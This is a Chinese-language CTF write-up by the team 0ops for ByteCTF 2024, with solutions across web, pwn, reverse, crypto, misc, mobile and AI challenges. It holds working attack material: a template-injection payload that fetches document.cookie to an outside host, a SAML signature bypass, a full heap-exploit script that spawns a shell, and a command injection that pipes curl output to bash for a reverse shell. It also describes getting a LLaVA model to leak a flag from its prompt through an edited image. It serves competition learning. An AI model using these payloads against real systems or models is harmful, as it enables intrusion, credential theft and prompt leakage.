ByteCTF 24 - 0ops

WEB

CrossVue

注册用户 profile 时可以CSTI，标签、引号等符号已经被gin转义，但是 `{{}}` 等都可以用，再找一些其他字符的替代。 `{{fetch(`https:// ... /`.concat(document.cookie))}}`

ezauth

https://securitylab.github.com/advisories/GHSL-2023-121_go-saml__archived_/

把用于签名的证书放在saml里就可以通过检查，直接用这个库来生成：

```
issuer := "http://localhost:8000/saml_consume"
cert, _ := util.LoadCertificate("1.pem")
authnResponse := saml.NewSignedResponse()
authnResponse.Destination = issuer
authnResponse.Assertion.Issuer.Url = issuer
authnResponse.Signature.KeyInfo.X509Data.X509Certificate.Cert = cert
authnResponse.AddAttribute("uid", "guest")
authnResponse.Assertion.Subject.SubjectConfirmation.SubjectConfirmationData.
Recipient = issuer
signed, _ := authnResponse.SignedString("1.key")
fmt.Println(signed)
```

这种方式需要证书本身需要是可信（非自签）的，并且要有完整的证书链，在X509Data里面再塞一个X509Certificate就可以了，通过验证后可以拿到code。

jwt的部分， `jwt.ParseWithClaims` 返回的错误实际上是各种类型的错误值的bit or。如果提供一个过期一天内的错误jwt，就可以直接进入重新生成的流程。

PWN

ezheap

```
from pwn import *

context(arch='amd64', terminal=['tmux', 'splitw', '-h'], log_level='debug')

p = process('./pwn')
# p = remote('113.201.14.253', 36657)
```

```python
def add(size):
    p.sendlineafter(b'exit:\n', b'1')
    p.sendlineafter(b'add:\n', str(size).encode())

def show(index):
    p.sendlineafter(b'exit:\n', b'3')
    p.sendlineafter(b'show:\n', str(index).encode())


def edit(index, size, content):
    p.sendlineafter(b'exit:\n', b'4')
    p.sendlineafter(b'edit:\n', str(index).encode())
    p.sendlineafter(b'size\n', str(size).encode())
    p.sendlineafter(b'input\n', content)


add(0x20)  # 0
edit(0, 0x30, flat(b'a'*0x20, 0, 0xd81))
add(0x1000)
add(0x100)  # 2

show(2)
p.recvuntil(b': ')
libc = u64(p.recv(6).ljust(8, b'\x00')) - 0x3ec2a0
success(hex(libc))

io_list_all = libc + 0x3ec660
lock = libc + 0x3ed8b0
io_wfile_jumps = libc + 0x3e7d60
system = libc + 0x4f440

edit(2, 0x10, b'a'*0x10)
show(2)
p.recvuntil(b'a'*0x10)
heap = u64(p.recv(6).ljust(8, b'\x00')) - 0x280
success(hex(heap))

file_addr = heap + 0x3a0
wide_data_addr = heap + 0x3a0 + 0x100

add(0xc40)  # 3

# house of force
payload = flat(b'\x00'*0x21c78, 0xffffffffffffffff)
edit(3, len(payload), payload)

file = FileStructure(lock)
file.flags = b'  sh\x00\x00\x00\x00'
file._IO_write_base = 0
file._IO_write_ptr = 1
```

```
file._wide_data = wide_data_addr
file.vtable = io_wfile_jumps

payload = flat(bytes(file).ljust(0x100, b'\x00'), b'\x00'*0x68, system,
b'\x00'*0x70, p64(wide_data_addr)*11)

edit(3, len(payload), payload)

add(-0x22010)
add(0x100)  # 5 tcache_perthread_struct
payload=flat(b'\x07'*0x30+p64(io_list_all)*0x20)
edit(5, len(payload), payload)

add(0x100) # 6 _IO_list_all
edit(6, 8, flat(file_addr))

p.sendlineafter(b'exit:\n', b'0')

p.interactive()
# ByteCTF{a69c2f3a1fb2add3556307284f708954}
```

REV

babyAPK

flutter 逆向。首先用 blutter 解析 dart 部分，main.dart 里有一个 test函数用于校验。

test 先判断flag首尾和长度，然后去掉首尾调用进 rust 代码。跟进去发现主要逻辑在 x86_64/librust_lib_babyapk.so 的 3C660 函数。里面先check了8、12、16、20四个位置的字符是不是 `-` ，然后每8字节列8个公式约束求解检查恢复明文。

```
from z3 import *
flag = [BitVec("i_%d"%i, 32) for i in range(32)]

data =
bytes.fromhex("59EE01002A020000151400001407040 0E0130000B8080000A0CEFDFF3B310
00098D703006BFEFFFF4E0C0000843802008D000000B41D00002813FCFFAC1E0000643C04002
B14000022F6FFFF413902006DEFFFFF0C1200000FD3FBFFBE1E00005851040066EFFFFF3F1D0
0006BC404007AF9FFFFFD1B000035A2FBFFD21E0000")
def u32(data):
    return int.from_bytes(data[:4], "little")
off_1A2A8 = [u32(data[i:]) for i in range(0, len(data), 4)]
print([hex(a) for a in off_1A2A8])

s = Solver()
for i in range(32):
    s.add(flag[i] < 0x80)
    s.add(flag[i] > 0)
```

```
for base in range(0, 32, 8):
    s.add(flag[base+7] + flag[base+5] * flag[base+3] * flag[base+1] - (flag[base+4] * flag[base+2] + flag[base] + flag[base+6]) == off_1A2A8[base])
    v63 = flag[base+5] * flag[base]
    s.add( flag[base+3] - flag[base+5] * flag[base] - flag[base+4] + flag[base+6] + flag[base+1] * flag[base+7] + flag[base+2] == off_1A2A8[base + 1])
    s.add(v63 - (flag[base+4] + flag[base+1] * flag[base+7]) + flag[base+2] + flag[base+3] * flag[base+6] == off_1A2A8[base + 2])
    v64 = flag[base] * flag[base+4]
    s.add(flag[base+3] * flag[base+5] * flag[base+6] + flag[base+1] + flag[base] * flag[base+4] - (flag[base+2] + flag[base+7]) == off_1A2A8[base + 3])
    s.add(flag[base+4] * flag[base+2] + flag[base+1] + flag[base+3] * flag[base+5] - (flag[base+6] + flag[base+7] * flag[base]) == off_1A2A8[base + 4])
    s.add(flag[base+2] + flag[base+3] * flag[base+1] + v63 - (flag[base+6] + flag[base+7] * flag[base+4]) == off_1A2A8[base + 5])
    s.add(flag[base+5] * flag[base+2] + flag[base+6] + flag[base+7] - flag[base+1] - flag[base+3] * v64 == off_1A2A8[base + 6])
    s.add(flag[base+2] * flag[base+6] + v64 + flag[base+3] - (flag[base+7] + flag[base+5] + flag[base+1]) == off_1A2A8[base + 7])

if s.check() == sat:
    m = s.model()
    flag_v = [m.eval(flag[i]).as_long() for i in range(32)]
    flag_b = bytes(flag_v)
    flag = b"ByteCTF{"
    tt = [0, 8,12,16,20]
    for i in range(4):
        flag += flag_b[tt[i]:tt[i+1]] + b"-"
    flag += flag_b[20:] + b"}"
    print(flag)
else:
    print("unsat")
```

ByteKit

调试启动过程，可以发现bios加载了两个 Firmware file system 然后跳转到其中的 PeiCore PE 执行。

解包可以找到一个可疑的 Dxe： ByteKitLoaderDxe 。它先检查 input 是不是以 KEY: 开头，然后又load了一个PE Image执行。PE Image里面就是简单的加密-校验-再加密输出逻辑。

```
ct =
bytes.fromhex('4B274255486E41291F5E04046B3E575F08075F3A311740305F7A756736363
```

```
636')
keys =
bytes.fromhex('620000000000000001000000000000000B000000000000007900000000000
00002000000000000000030000000000000074000000000000000300000000000000070000000
00000006500000000000000040000000000000000E000000000000006400000000000000005000
000000000000D000000000000000610000000000000000600000000000000000A000000000000006
E000000000000000700000000000000000F000000000000000630000000000000000800000000000
0000C000000000000000650000000000000000900000000000000000A000000000000000000000000
0000000')
def u32(data):
    return int.from_bytes(data[:8], "little")
keys = [(u32(keys[i:]), u32(keys[i+8:]), u32(keys[i+16:])) for i in range(0,
len(keys), 24)]

print(bytes(ct))

pt = list(ct)
for k, s, e in keys:
    for i in range(s, s+e):
        pt[i] ^= k
print(bytes(pt))
# KEY:By71d@nnc6_Wan77_y@0_zug6666

ct = list(ct)
for k, s, e in keys:
    for i in range(32-(s+e), 32-s):
        ct[i] ^= k
print(bytes(ct))
```

拿到 input 后通过 getflag.sh 获取 flag。

ByteBuffer

看二进制文件初步猜测是一个图

学习了下FlatBuffer，自定义一个图保存下来看了下数据格式，对照后大致可以猜到题目二进制文件中Edge字符前面存的就是每条边的两个点的ID。

```
import struct
def extract_numbers(bytes_data):
    num1 = struct.unpack('<I', bytes_data[0:4])[0]
    num2 = struct.unpack('<I', bytes_data[4:8])[0]
    return num1, num2


def extract_data(file_path, target_value):
    results = []

    with open(file_path, 'rb') as f:
```

```
        data = f.read()

    for i in range(0, len(data) - 4 + 1):
        four_bytes = data[i:i+4]
        number = struct.unpack('<I', four_bytes)[0]

        # 获取每条Edge的点ID
        if number == target_value:
            start_index = i - 16
            if start_index ≥ 0:
                eight_bytes = data[start_index:start_index + 8]
                num1,num2=extract_numbers(eight_bytes)
                results.append((num1,num2))
    return results

def main():
    file_path = 'ByteBuffer.bin'
    target_value = 0x65676445         # 字符串"Edge"
    results = extract_data(file_path, target_value)

    for result in results:
        print(result)

if __name__ == '__main__':
    main()
```

将脚本输出的邻接矩阵信息丢进在线画图软件中

就是七位数码管的排列，但是点的ID编号不是按照固定的顺序的，手动排列了下就可以拿到flag了。

CRYPTO

magic lfsr

列出y=ff(x0,x1,x2,x3)函数的真值表，发现当y = 1时，必然有x0 + x1 + x3 = 1，注意到每个x0 x1 x3 都可以表示成密钥的特定线性组合，而密钥有128比特，输出有270比特，有127个1，虽然不足以确定出密钥，但核中的基向量数目很少，稍微遍历一下即可。

```
from Crypto.Cipher import AES
from Crypto.Util.number import *
from hashlib import sha512
from sage.all import *
```

```
def vec_to_state(v):
    return int("".join([str(i) for i in v]), 2)

F2 = GF(2)
PR = PolynomialRing(F2, "x", 128)
x = PR.gens()

mask1 = 211151158277430590850506190902325379931
mask2 = 314024231732616562506949148198103849397
mask3 = 175840838278158851471916948124781906887
mask4 = 270726596087586267913580004170375666103

def lfsr(R, mask):
    R_bin = [int(b) for b in bin(R)[2:].zfill(128)]
    mask_bin = [int(b) for b in bin(mask)[2:].zfill(128)]
    s = sum([R_bin[i] * mask_bin[i] for i in range(128)]) & 1
    R_bin = [s] + R_bin[:-1]
    return (int("".join(map(str, R_bin)), 2), s)

def ff(x0, x1, x2, x3):
    return (int(sha512(long_to_bytes(x0 * x2 + x0 + x1**4 + x3**5 + x0 * x1
* x2 * x3 + (x1 * x3) ** 4)).hexdigest(), 16) & 1)

def my_round(R, R1_mask, R2_mask, R3_mask, R4_mask):
    out = []
    R1_NEW, _ = lfsr(R, R1_mask)
    R2_NEW, _ = lfsr(R, R2_mask)
    R3_NEW, _ = lfsr(R, R3_mask)
    R4_NEW, _ = lfsr(R, R4_mask)
    for _ in range(300):
        R1_NEW, x1 = lfsr(R1_NEW, R1_mask)
        R2_NEW, x2 = lfsr(R2_NEW, R2_mask)
        R3_NEW, x3 = lfsr(R3_NEW, R3_mask)
        R4_NEW, x4 = lfsr(R4_NEW, R4_mask)
        out.append(F2(ff(x1, x2, x3, x4)))
    return out

def getM(mask):
    M = []
    M.append([int(b) for b in bin(mask)[2:].zfill(128)])
    for i in range(127):
        tmp = [0] * 128
        tmp[i] = 1
        M.append(tmp)
    return matrix(F2, M)

def solve():
    DEBUG = 0
    if DEBUG:
        out = my_round(12345, mask1, mask2, mask3, mask4)
```

```
    else:
        out =
1024311481407054984168503188572082106228007820628496173132204098971130766468
510095
        out = list(map(F2, list(bin(out)[2: ].zfill(270))))

    M1 = getM(mask1)
    M1_ = M1**2

    M2 = getM(mask2)
    M2_ = M2**2

    M4 = getM(mask4)
    M4_ = M4**2

    eqs = []
    ks = vector(x)
    for i in range(len(out)):
        if out[i] == 1:
            o = (M1_ * ks)[0] + (M2_ * ks)[0] + (M4_ * ks)[0]
            eqs.append(o - out[i])

        M1_ *= M1
        M2_ *= M2
        M4_ *= M4

    print(len(eqs))
    M, _ = Sequence(eqs).coefficient_matrix()
    print(M.right_kernel().basis())

#solve()
a=[1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0,
1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1,
0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0,
0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1,
0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1,
0, 1, 0, 1, 1]
enc = b'\r\x9du\xa15q\xd2\x81\x0b\xceq2\x8d)*\xe9\xf0;a\xad\xbe?
\xa2\xb2\x1f\x88O\x8c\xa2[\xcb\x9a\xa9\x8d\xac\x0b\x85\xb4j@]\x0e}EF{\xb1\x9
1'

key = vec_to_state(a[:-1])
cipher = AES.new(long_to_bytes(key), mode=AES.MODE_ECB)
print(cipher.decrypt(enc))
#ByteCTF{8a58eccb-a3b0-4064-bd26-15d475ebe2d1}
```

MISC

Bash Game

`!&x/#` 每次写一字节，弹shell

```
import requests
url = 'http:// ... /update'

cmd = '; curl vpsip | bash #' # reverse shell
for c in cmd[::-1]:
    r = requests.post(url, {'name': f'!&{c}/#'})
    print(r.text)
```

然后有一个非常莫名其妙的 sudo

```
cd /opt/challenge
ln -s flag 1
sudo ./truegame.sh 1
```

Mobile

极限逃脱

解包静态看

首先检查输入格式 `ByteCTF{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}`

然后将前后去掉，按 `-` 切开，形成5部分与后面生成的5部分判断相等

然后调用5个函数读取5部分内容，拼接成 `{%@-%@-%@-%@-%@}` 格式并计算sha256，其中第一部分没有用到，用了两次第五部分，拼接后内容为 `{a67be199da4b-b092-bd3e-e777-a67be199da4b}`

计算后的sha256为 `6c9838a3c6810bdb2633ed5910b8547c09a7a4c08bf69ae3a95c5c37f9e8f57e`

然后进行一些取子字符串的操作，并进行一些字符替换

第一部分从 `sha256_data[1]` 开始取8字节，并将其中的a替换成b

第二部分从 `sha256_data[9]` 开始取4字节，并将其中的b替换成c

第三部分从 `sha256_data[5]` 开始取4字节，并将其中的c替换成d

第四部分从 `sha256_data[5]` 开始取4字节，并将其中的d替换成e

第五部分从 `sha256_data[5]` 开始取12字节，并将其中的e替换成f

ByteCTF{c9838b3c-6810-8a3d-8a3c-8a3c6810bdb2}

AI

what I say

用的文字+图片→文字大模型https://huggingface.co/liuhaotian/llava-v1-0719-336px-lora-vicuna-13b-v1.3

根据代码有两个限制，一是要和origin.png的SSIM相似度大于0.9，二是需要通过图片上的内容让AI识别获取提示文字里面的flag

将origin.png修改成如下样式可以获得flag